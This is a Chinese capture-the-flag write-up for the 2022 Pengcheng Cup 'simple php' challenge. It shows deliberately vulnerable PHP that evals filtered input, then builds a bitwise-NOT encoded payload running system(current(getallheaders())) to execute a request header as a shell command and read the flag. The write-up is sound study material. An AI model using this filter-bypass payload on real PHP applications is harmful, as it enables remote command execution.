[鹏城杯 2022]简单的php
- 一、解题流程
- 二、思考总结
题目代码:
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
一、解题流程
- 分析
参数:code
特点:1、参数值长度不能超过80
2、不能输入数字字母,仅这一点就可以排除常规做法。所以这题利用取反+RCE来做
3、我们执行的部分在else if中 - 取反:
echo urlencode(~("phpinfo"));
得到%8F%97%8F%96%91%99%90
//固定写法,注意不要带括号
//注意:只对关键字取反! - 传参:
?code=[~%8F%97%8F%96%91%99%90][!%FF]();
//固定写法,[!%FF]作为()的衔接,用二维数组进行拼接需要[!%FF]分割
//注意:[!%FF]是0的意思,因为前面是个数组,取里面的第0项才是木马
可以发现页面执行了
- 构造system(current(getallheaders()))
分别对关键字进行取反操作,代码如下:echo urlencode(~("system")); //~%8C%86%8C%8B%9A%92 echo "\n"; echo urlencode(~("current")); //~%9C%8A%8D%8D%9A%91%8B echo "\n"; echo urlencode(~("getallheaders")); //~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C [~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()))
- 构造payload
payload=?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
system(current(getallheaders()))这个语句执行会将请求头字段当做system内部命令执行
,[!%FF]取第一个请求头字段 - payload只是get传参,而要真正rce,还得修改请求头字段
注意第五步的说法,这里但凡不在第一个请求头字段,都不行哟~
- cat flag
二、思考总结
这题涉及新的知识点。
1、urlencode(~(“xx”)); 取反操作
2、system(current(getallheaders())) 及其作用:将请求头字段当做system内部命令执行
3、[~xx][!%FF]([~xx][!%FF]([~xx][!%FF]()))
取反组合